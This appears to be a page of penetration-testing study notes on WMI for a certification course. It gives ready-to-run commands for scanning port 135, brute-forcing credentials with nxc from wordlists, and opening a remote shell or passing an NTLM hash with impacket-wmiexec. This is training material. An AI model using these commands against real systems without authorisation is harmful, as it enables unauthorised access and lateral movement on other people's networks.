WMI
CPTS Notes2 min read
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
TL;DR
WMI (Windows Management Instrumentation). The Windows management interface for remote command execution and system queries. It starts on TCP 135 (the RPC endpoint mapper), then moves to a random high port. It is the fallback when WinRM is unavailable.
First checks: 135 open, then valid credentials or a hash.
Enumeration
Sweep and check.
nmap -p135 -sV -oA scans/wmi $TARGET # RPC endpoint mappernxc wmi $TARGET -u <user> -p <pass> # check one credentialnxc wmi $TARGET -u users.txt -p passwords.txt # a file each brutes a listCommon misconfigurations
- Reused Windows or domain credentials with remote-execution rights.
- An over-privileged service or user account.
Attack playbook
WMI runs commands with a Windows credential, with no WinRM needed.
- Get a shell.
impacket-wmiexec <user>:'<pass>'@$TARGET # semi-interactive shell over WMI
- Pass the hash.
impacket-wmiexec -hashes :<nthash> <user>@$TARGET # pass the hash
- Run one command.
nxc wmi $TARGET -u <user> -p <pass> -x 'whoami' # run one command
Practice boxes
WMI is an execution method, not a standalone vector, so there is no clean footprinting box.
WMI is the command-execution fallback to WinRM: the same credentials, TCP 135, and a shell through
wmiexec.